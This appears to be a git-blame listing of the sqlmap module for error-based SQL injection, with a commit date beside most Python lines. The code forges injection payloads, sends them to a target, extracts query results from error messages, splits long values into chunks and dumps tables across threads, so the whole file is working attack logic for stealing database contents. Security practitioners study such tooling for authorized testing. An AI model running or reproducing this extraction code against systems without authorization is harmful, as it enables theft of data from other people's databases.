2010-10-20 13:09:04 +04:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
2013-01-18 18:07:51 +04:00
|
|
|
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
|
2010-10-20 13:09:04 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
|
|
|
"""
|
|
|
|
|
|
|
|
import re
|
|
|
|
import time
|
|
|
|
|
2012-02-22 14:40:11 +04:00
|
|
|
from extra.safe2bin.safe2bin import safecharencode
|
2010-10-20 13:09:04 +04:00
|
|
|
from lib.core.agent import agent
|
2012-02-16 13:46:41 +04:00
|
|
|
from lib.core.bigarray import BigArray
|
2011-01-31 15:21:17 +03:00
|
|
|
from lib.core.common import Backend
|
2011-01-19 02:02:11 +03:00
|
|
|
from lib.core.common import calculateDeltaSeconds
|
2011-02-12 23:03:28 +03:00
|
|
|
from lib.core.common import dataToStdout
|
2012-02-21 15:44:48 +04:00
|
|
|
from lib.core.common import decodeHexValue
|
2010-12-06 10:48:14 +03:00
|
|
|
from lib.core.common import extractRegexResult
|
2011-03-22 12:22:48 +03:00
|
|
|
from lib.core.common import getUnicode
|
2012-02-24 17:07:20 +04:00
|
|
|
from lib.core.common import hashDBRetrieve
|
|
|
|
from lib.core.common import hashDBWrite
|
2011-12-21 15:50:49 +04:00
|
|
|
from lib.core.common import incrementCounter
|
2010-12-18 12:51:34 +03:00
|
|
|
from lib.core.common import initTechnique
|
2012-06-14 17:38:53 +04:00
|
|
|
from lib.core.common import isListLike
|
2011-01-19 02:02:11 +03:00
|
|
|
from lib.core.common import isNumPosStrValue
|
2011-01-31 15:21:17 +03:00
|
|
|
from lib.core.common import listToStrValue
|
2011-12-23 00:42:57 +04:00
|
|
|
from lib.core.common import readInput
|
2012-12-30 14:10:32 +04:00
|
|
|
from lib.core.common import unArrayizeValue
|
2012-12-19 04:46:23 +04:00
|
|
|
from lib.core.convert import hexdecode
|
2011-03-21 02:16:34 +03:00
|
|
|
from lib.core.convert import htmlunescape
|
2010-10-20 13:09:04 +04:00
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import kb
|
|
|
|
from lib.core.data import logger
|
|
|
|
from lib.core.data import queries
|
2012-08-21 13:19:15 +04:00
|
|
|
from lib.core.dicts import FROM_DUMMY_TABLE
|
2010-11-08 12:20:02 +03:00
|
|
|
from lib.core.enums import DBMS
|
2012-07-12 16:31:28 +04:00
|
|
|
from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
|
2011-02-08 19:23:33 +03:00
|
|
|
from lib.core.settings import MYSQL_ERROR_CHUNK_LENGTH
|
2011-05-03 17:25:20 +04:00
|
|
|
from lib.core.settings import MSSQL_ERROR_CHUNK_LENGTH
|
2012-07-12 16:31:28 +04:00
|
|
|
from lib.core.settings import NULL
|
2012-07-06 17:36:32 +04:00
|
|
|
from lib.core.settings import PARTIAL_VALUE_MARKER
|
2011-12-23 00:42:57 +04:00
|
|
|
from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD
|
2011-05-19 20:45:05 +04:00
|
|
|
from lib.core.settings import SQL_SCALAR_REGEX
|
2011-04-22 23:58:10 +04:00
|
|
|
from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
|
2011-03-17 12:12:28 +03:00
|
|
|
from lib.core.threads import getCurrentThreadData
|
2011-05-30 03:17:50 +04:00
|
|
|
from lib.core.threads import runThreads
|
2010-10-20 13:09:04 +04:00
|
|
|
from lib.core.unescaper import unescaper
|
|
|
|
from lib.request.connect import Connect as Request
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _oneShotErrorUse(expression, field=None):
|
2012-07-06 17:36:32 +04:00
|
|
|
offset = 1
|
|
|
|
partialValue = None
|
|
|
|
threadData = getCurrentThreadData()
|
2012-02-24 18:54:10 +04:00
|
|
|
retVal = hashDBRetrieve(expression, checkConf=True)
|
2011-09-26 00:36:32 +04:00
|
|
|
|
2012-07-06 17:36:32 +04:00
|
|
|
if retVal and PARTIAL_VALUE_MARKER in retVal:
|
|
|
|
partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
|
2012-12-17 17:30:21 +04:00
|
|
|
logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue))
|
2012-07-06 17:36:32 +04:00
|
|
|
offset += len(partialValue)
|
2011-10-12 02:40:00 +04:00
|
|
|
|
2012-07-06 17:36:32 +04:00
|
|
|
threadData.resumed = retVal is not None and not partialValue
|
2012-07-12 16:31:28 +04:00
|
|
|
|
|
|
|
if Backend.isDbms(DBMS.MYSQL):
|
|
|
|
chunk_length = MYSQL_ERROR_CHUNK_LENGTH
|
|
|
|
elif Backend.isDbms(DBMS.MSSQL):
|
|
|
|
chunk_length = MSSQL_ERROR_CHUNK_LENGTH
|
|
|
|
else:
|
|
|
|
chunk_length = None
|
2011-02-08 19:23:33 +03:00
|
|
|
|
2012-07-06 17:36:32 +04:00
|
|
|
if retVal is None or partialValue:
|
|
|
|
try:
|
|
|
|
while True:
|
|
|
|
check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
|
|
|
|
trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start)
|
|
|
|
|
2012-07-12 16:31:28 +04:00
|
|
|
if field:
|
|
|
|
nulledCastedField = agent.nullAndCastField(field)
|
2012-07-06 17:36:32 +04:00
|
|
|
|
2012-11-29 13:51:59 +04:00
|
|
|
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")): # skip chunking of scalar expression (unneeded)
|
|
|
|
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
|
|
|
|
if extendedField != field: # e.g. MIN(surname)
|
|
|
|
nulledCastedField = extendedField.replace(field, nulledCastedField)
|
|
|
|
field = extendedField
|
2012-07-12 16:31:28 +04:00
|
|
|
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
|
2012-07-06 17:36:32 +04:00
|
|
|
|
|
|
|
# Forge the error-based SQL injection request
|
2012-12-05 13:45:17 +04:00
|
|
|
vector = kb.injection.data[kb.technique].vector
|
2012-07-06 17:36:32 +04:00
|
|
|
query = agent.prefixQuery(vector)
|
|
|
|
query = agent.suffixQuery(query)
|
2012-07-12 16:31:28 +04:00
|
|
|
injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
|
2012-07-06 17:36:32 +04:00
|
|
|
injExpression = unescaper.unescape(injExpression)
|
|
|
|
injExpression = query.replace("[QUERY]", injExpression)
|
|
|
|
payload = agent.payload(newValue=injExpression)
|
|
|
|
|
|
|
|
# Perform the request
|
|
|
|
page, headers = Request.queryPage(payload, content=True)
|
|
|
|
|
2012-12-05 13:45:17 +04:00
|
|
|
incrementCounter(kb.technique)
|
2012-07-06 17:36:32 +04:00
|
|
|
|
|
|
|
# Parse the returned page to get the exact error-based
|
|
|
|
# SQL injection output
|
2013-01-09 18:38:41 +04:00
|
|
|
output = reduce(lambda x, y: x if x is not None else y, (\
|
2012-07-06 17:36:32 +04:00
|
|
|
extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
|
|
|
|
extractRegexResult(check, listToStrValue(headers.headers \
|
|
|
|
if headers else None), re.DOTALL | re.IGNORECASE), \
|
|
|
|
extractRegexResult(check, threadData.lastRedirectMsg[1] \
|
|
|
|
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
|
2012-12-10 20:13:00 +04:00
|
|
|
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \
|
2012-07-06 17:36:32 +04:00
|
|
|
None)
|
|
|
|
|
|
|
|
if output is not None:
|
2012-12-11 15:02:06 +04:00
|
|
|
output = getUnicode(output)
|
2011-09-26 00:36:32 +04:00
|
|
|
else:
|
2012-07-06 17:36:32 +04:00
|
|
|
trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
|
|
|
|
or extractRegexResult(trimcheck, listToStrValue(headers.headers \
|
|
|
|
if headers else None), re.DOTALL | re.IGNORECASE) \
|
|
|
|
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
|
|
|
|
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
|
|
|
|
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
|
|
|
|
|
|
|
|
if trimmed:
|
2013-01-15 16:51:19 +04:00
|
|
|
warnMsg = "possible server trimmed output detected "
|
|
|
|
warnMsg += "(due to its length and/or content): "
|
2012-07-30 23:43:32 +04:00
|
|
|
warnMsg += safecharencode(trimmed)
|
2012-07-06 17:36:32 +04:00
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
|
|
|
|
if offset == 1:
|
|
|
|
retVal = output
|
|
|
|
else:
|
|
|
|
retVal += output if output else ''
|
|
|
|
|
|
|
|
if output and len(output) >= chunk_length:
|
|
|
|
offset += chunk_length
|
|
|
|
else:
|
|
|
|
break
|
|
|
|
|
|
|
|
if kb.fileReadMode and output:
|
2012-12-06 17:14:19 +04:00
|
|
|
dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
|
2011-09-26 00:36:32 +04:00
|
|
|
else:
|
2012-07-06 17:36:32 +04:00
|
|
|
retVal = output
|
2011-09-26 00:36:32 +04:00
|
|
|
break
|
2012-07-06 17:36:32 +04:00
|
|
|
except:
|
|
|
|
hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
|
|
|
|
raise
|
2010-10-26 13:33:18 +04:00
|
|
|
|
2012-02-21 15:44:48 +04:00
|
|
|
retVal = decodeHexValue(retVal) if conf.hexConvert else retVal
|
|
|
|
|
2011-09-26 00:36:32 +04:00
|
|
|
if isinstance(retVal, basestring):
|
|
|
|
retVal = htmlunescape(retVal).replace("<br>", "\n")
|
2011-05-04 01:12:51 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
retVal = _errorReplaceChars(retVal)
|
2011-03-21 16:13:12 +03:00
|
|
|
|
2012-02-24 17:07:20 +04:00
|
|
|
hashDBWrite(expression, retVal)
|
2010-10-20 13:09:04 +04:00
|
|
|
|
2011-12-22 16:20:21 +04:00
|
|
|
else:
|
2011-12-22 16:21:30 +04:00
|
|
|
_ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
|
|
|
|
retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal
|
2011-12-22 16:20:21 +04:00
|
|
|
|
2011-07-26 00:40:31 +04:00
|
|
|
return safecharencode(retVal) if kb.safeCharEncode else retVal
|
2011-01-19 02:02:11 +03:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _errorFields(expression, expressionFields, expressionFieldsList, num=None, emptyFields=None):
|
2012-12-20 14:06:52 +04:00
|
|
|
values = []
|
2011-01-19 02:02:11 +03:00
|
|
|
origExpr = None
|
|
|
|
|
2011-10-12 02:40:00 +04:00
|
|
|
threadData = getCurrentThreadData()
|
|
|
|
|
2011-01-19 02:02:11 +03:00
|
|
|
for field in expressionFieldsList:
|
|
|
|
output = None
|
|
|
|
|
|
|
|
if field.startswith("ROWNUM "):
|
|
|
|
continue
|
|
|
|
|
|
|
|
if isinstance(num, int):
|
|
|
|
origExpr = expression
|
2011-02-07 19:24:23 +03:00
|
|
|
expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])
|
2011-01-19 02:02:11 +03:00
|
|
|
|
|
|
|
if "ROWNUM" in expressionFieldsList:
|
|
|
|
expressionReplaced = expression
|
|
|
|
else:
|
|
|
|
expressionReplaced = expression.replace(expressionFields, field, 1)
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field)
|
2011-01-19 02:02:11 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if not kb.threadContinue:
|
|
|
|
return None
|
2011-02-01 00:13:29 +03:00
|
|
|
|
2012-07-06 16:33:40 +04:00
|
|
|
if kb.fileReadMode and output and output.strip():
|
2012-07-06 16:24:44 +04:00
|
|
|
print
|
2012-07-12 16:31:28 +04:00
|
|
|
elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields):
|
2012-12-17 17:30:21 +04:00
|
|
|
logger.info("%s: %s" % ("resumed" if threadData.resumed else "retrieved", safecharencode(output)))
|
2011-01-19 02:02:11 +03:00
|
|
|
|
|
|
|
if isinstance(num, int):
|
|
|
|
expression = origExpr
|
|
|
|
|
2012-12-20 14:06:52 +04:00
|
|
|
values.append(output)
|
2011-01-19 02:02:11 +03:00
|
|
|
|
2012-12-20 14:06:52 +04:00
|
|
|
return values
|
2011-01-19 02:02:11 +03:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _errorReplaceChars(value):
|
2011-03-21 16:13:12 +03:00
|
|
|
"""
|
|
|
|
Restores safely replaced characters
|
|
|
|
"""
|
|
|
|
|
|
|
|
retVal = value
|
|
|
|
|
|
|
|
if value:
|
2012-03-01 15:59:37 +04:00
|
|
|
retVal = retVal.replace(kb.chars.space, " ").replace(kb.chars.dollar, "$").replace(kb.chars.at, "@").replace(kb.chars.hash_, "#")
|
2011-03-21 16:13:12 +03:00
|
|
|
|
|
|
|
return retVal
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _formatPartialContent(value):
|
2012-07-06 17:36:32 +04:00
|
|
|
"""
|
2012-12-19 04:46:23 +04:00
|
|
|
Prepares (possibly hex-encoded) partial content for safe console output
|
2012-07-06 17:36:32 +04:00
|
|
|
"""
|
|
|
|
|
|
|
|
if value and isinstance(value, basestring):
|
|
|
|
try:
|
2012-12-19 04:46:23 +04:00
|
|
|
value = hexdecode(value)
|
2012-07-06 17:36:32 +04:00
|
|
|
except:
|
|
|
|
pass
|
|
|
|
finally:
|
|
|
|
value = safecharencode(value)
|
2012-12-19 04:46:23 +04:00
|
|
|
|
2012-07-06 17:36:32 +04:00
|
|
|
return value
|
|
|
|
|
2012-07-12 18:38:43 +04:00
|
|
|
def errorUse(expression, dump=False):
|
2011-01-19 02:02:11 +03:00
|
|
|
"""
|
|
|
|
Retrieve the output of a SQL query taking advantage of the error-based
|
|
|
|
SQL injection vulnerability on the affected parameter.
|
|
|
|
"""
|
|
|
|
|
2012-12-05 13:45:17 +04:00
|
|
|
initTechnique(kb.technique)
|
2011-01-19 02:02:11 +03:00
|
|
|
|
2012-02-03 14:38:04 +04:00
|
|
|
abortedFlag = False
|
2011-01-19 02:02:11 +03:00
|
|
|
count = None
|
2012-07-12 16:31:28 +04:00
|
|
|
emptyFields = []
|
2011-01-19 02:02:11 +03:00
|
|
|
start = time.time()
|
|
|
|
startLimit = 0
|
|
|
|
stopLimit = None
|
2012-12-20 14:06:52 +04:00
|
|
|
value = None
|
2011-01-19 02:02:11 +03:00
|
|
|
|
|
|
|
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
|
|
|
|
|
|
|
|
# We have to check if the SQL query might return multiple entries
|
|
|
|
# and in such case forge the SQL limiting the query output one
|
2012-12-19 16:17:56 +04:00
|
|
|
# entry at a time
|
|
|
|
# NOTE: we assume that only queries that get data from a table can
|
2011-01-19 02:02:11 +03:00
|
|
|
# return multiple entries
|
2011-02-02 01:07:42 +03:00
|
|
|
if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \
|
2012-02-07 16:05:23 +04:00
|
|
|
expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \
|
|
|
|
or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
|
|
|
|
expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
|
2011-03-23 14:36:40 +03:00
|
|
|
and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
|
2011-05-19 20:45:05 +04:00
|
|
|
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
|
2012-12-19 16:17:56 +04:00
|
|
|
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
|
2011-02-02 01:07:42 +03:00
|
|
|
|
2011-01-19 02:02:11 +03:00
|
|
|
if limitCond:
|
2011-02-02 01:07:42 +03:00
|
|
|
# Count the number of SQL query entries output
|
2012-11-15 18:06:54 +04:00
|
|
|
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
|
2011-01-19 02:02:11 +03:00
|
|
|
|
2012-12-19 16:17:56 +04:00
|
|
|
if " ORDER BY " in expression.upper():
|
2012-12-19 15:40:00 +04:00
|
|
|
_ = countedExpression.upper().rindex(" ORDER BY ")
|
|
|
|
countedExpression = countedExpression[:_]
|
2011-01-19 02:02:11 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
_, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression)
|
2012-12-30 14:10:32 +04:00
|
|
|
count = unArrayizeValue(_oneShotErrorUse(countedExpression, countedExpressionFields))
|
2011-01-19 02:02:11 +03:00
|
|
|
|
2011-05-12 15:52:18 +04:00
|
|
|
if isNumPosStrValue(count):
|
2011-02-02 01:07:42 +03:00
|
|
|
if isinstance(stopLimit, int) and stopLimit > 0:
|
|
|
|
stopLimit = min(int(count), int(stopLimit))
|
|
|
|
else:
|
|
|
|
stopLimit = int(count)
|
2011-01-19 02:02:11 +03:00
|
|
|
|
2011-02-02 01:07:42 +03:00
|
|
|
infoMsg = "the SQL query used returns "
|
|
|
|
infoMsg += "%d entries" % stopLimit
|
|
|
|
logger.info(infoMsg)
|
2011-02-01 00:13:29 +03:00
|
|
|
|
2011-08-02 12:39:32 +04:00
|
|
|
elif count and not count.isdigit():
|
2011-05-12 15:52:18 +04:00
|
|
|
warnMsg = "it was not possible to count the number "
|
2011-08-02 12:39:32 +04:00
|
|
|
warnMsg += "of entries for the SQL query provided. "
|
2011-05-12 15:52:18 +04:00
|
|
|
warnMsg += "sqlmap will assume that it returns only "
|
|
|
|
warnMsg += "one entry"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
stopLimit = 1
|
|
|
|
|
2011-08-02 12:39:32 +04:00
|
|
|
elif (not count or int(count) == 0):
|
2012-01-07 21:45:45 +04:00
|
|
|
if not count:
|
|
|
|
warnMsg = "the SQL query provided does not "
|
|
|
|
warnMsg += "return any output"
|
|
|
|
logger.warn(warnMsg)
|
2012-05-09 14:34:21 +04:00
|
|
|
else:
|
2012-12-20 14:06:52 +04:00
|
|
|
value = [] # for empty tables
|
|
|
|
return value
|
2011-08-02 12:39:32 +04:00
|
|
|
|
2011-12-23 00:42:57 +04:00
|
|
|
if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:
|
|
|
|
message = "due to huge table size do you want to remove "
|
|
|
|
message += "ORDER BY clause gaining speed over consistency? [y/N] "
|
2012-12-20 14:06:52 +04:00
|
|
|
_ = readInput(message, default="N")
|
2011-12-23 00:42:57 +04:00
|
|
|
|
2012-12-20 14:06:52 +04:00
|
|
|
if _ and _[0] in ("y", "Y"):
|
2011-12-23 00:42:57 +04:00
|
|
|
expression = expression[:expression.index(" ORDER BY ")]
|
|
|
|
|
2011-07-03 02:48:56 +04:00
|
|
|
threadData = getCurrentThreadData()
|
2011-07-26 00:17:44 +04:00
|
|
|
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
|
|
|
|
numThreads = min(conf.threads, (stopLimit - startLimit))
|
2012-12-20 14:06:52 +04:00
|
|
|
threadData.shared.value = BigArray()
|
2012-12-18 19:03:35 +04:00
|
|
|
threadData.shared.buffered = []
|
|
|
|
threadData.shared.lastFlushed = startLimit - 1
|
2011-06-07 21:16:01 +04:00
|
|
|
|
2012-07-12 16:31:28 +04:00
|
|
|
if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD):
|
|
|
|
for field in expressionFieldsList:
|
2012-12-06 17:14:19 +04:00
|
|
|
if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0':
|
2012-07-12 16:31:28 +04:00
|
|
|
emptyFields.append(field)
|
2012-07-12 16:46:57 +04:00
|
|
|
debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable)
|
|
|
|
debugMsg += "dumped as it appears to be empty"
|
2012-07-12 16:31:28 +04:00
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
2011-07-03 02:48:56 +04:00
|
|
|
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
|
|
|
|
kb.suppressResumeInfo = True
|
|
|
|
debugMsg = "suppressing possible resume console info because of "
|
|
|
|
debugMsg += "large number of rows. It might take too long"
|
|
|
|
logger.debug(debugMsg)
|
2011-04-22 23:58:10 +04:00
|
|
|
|
2011-07-03 02:48:56 +04:00
|
|
|
try:
|
2011-05-30 03:17:50 +04:00
|
|
|
def errorThread():
|
2011-06-07 13:50:00 +04:00
|
|
|
threadData = getCurrentThreadData()
|
|
|
|
|
|
|
|
while kb.threadContinue:
|
2012-12-20 14:06:52 +04:00
|
|
|
with kb.locks.limit:
|
2012-06-14 17:50:36 +04:00
|
|
|
try:
|
|
|
|
num = threadData.shared.limits.next()
|
|
|
|
except StopIteration:
|
|
|
|
break
|
2011-06-07 13:50:00 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields)
|
2011-06-07 13:50:00 +04:00
|
|
|
|
|
|
|
if not kb.threadContinue:
|
|
|
|
break
|
|
|
|
|
2012-12-10 20:13:00 +04:00
|
|
|
if output and isListLike(output) and len(output) == 1:
|
2011-06-07 13:50:00 +04:00
|
|
|
output = output[0]
|
|
|
|
|
2012-12-20 14:06:52 +04:00
|
|
|
with kb.locks.value:
|
2012-12-18 19:03:35 +04:00
|
|
|
index = None
|
|
|
|
for index in xrange(len(threadData.shared.buffered)):
|
|
|
|
if threadData.shared.buffered[index][0] >= num:
|
|
|
|
break
|
|
|
|
threadData.shared.buffered.insert(index or 0, (num, output))
|
|
|
|
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
|
|
|
|
threadData.shared.lastFlushed += 1
|
2012-12-20 14:06:52 +04:00
|
|
|
threadData.shared.value.append(threadData.shared.buffered[0][1])
|
2012-12-18 19:03:35 +04:00
|
|
|
del threadData.shared.buffered[0]
|
2011-05-30 03:17:50 +04:00
|
|
|
|
|
|
|
runThreads(numThreads, errorThread)
|
|
|
|
|
2011-02-02 01:07:42 +03:00
|
|
|
except KeyboardInterrupt:
|
2012-02-03 14:38:04 +04:00
|
|
|
abortedFlag = True
|
2011-04-06 18:40:45 +04:00
|
|
|
warnMsg = "user aborted during enumeration. sqlmap "
|
2011-03-31 18:13:53 +04:00
|
|
|
warnMsg += "will display partial output"
|
2011-02-02 01:07:42 +03:00
|
|
|
logger.warn(warnMsg)
|
2011-01-19 02:02:11 +03:00
|
|
|
|
2011-04-22 23:58:10 +04:00
|
|
|
finally:
|
2012-12-20 14:06:52 +04:00
|
|
|
threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered))
|
|
|
|
value = threadData.shared.value
|
2011-04-22 23:58:10 +04:00
|
|
|
kb.suppressResumeInfo = False
|
|
|
|
|
2012-12-20 14:06:52 +04:00
|
|
|
if not value and not abortedFlag:
|
|
|
|
value = _errorFields(expression, expressionFields, expressionFieldsList)
|
2011-02-01 00:13:29 +03:00
|
|
|
|
2012-12-20 14:06:52 +04:00
|
|
|
if value and isListLike(value) and len(value) == 1 and isinstance(value[0], basestring):
|
|
|
|
value = value[0]
|
2011-01-19 02:02:11 +03:00
|
|
|
|
2011-02-02 01:07:42 +03:00
|
|
|
duration = calculateDeltaSeconds(start)
|
|
|
|
|
2011-04-08 15:02:21 +04:00
|
|
|
if not kb.bruteMode:
|
2012-12-05 13:45:17 +04:00
|
|
|
debugMsg = "performed %d queries in %d seconds" % (kb.counters[kb.technique], duration)
|
2011-04-08 15:02:21 +04:00
|
|
|
logger.debug(debugMsg)
|
2011-02-02 01:07:42 +03:00
|
|
|
|
2012-12-20 14:06:52 +04:00
|
|
|
return value
|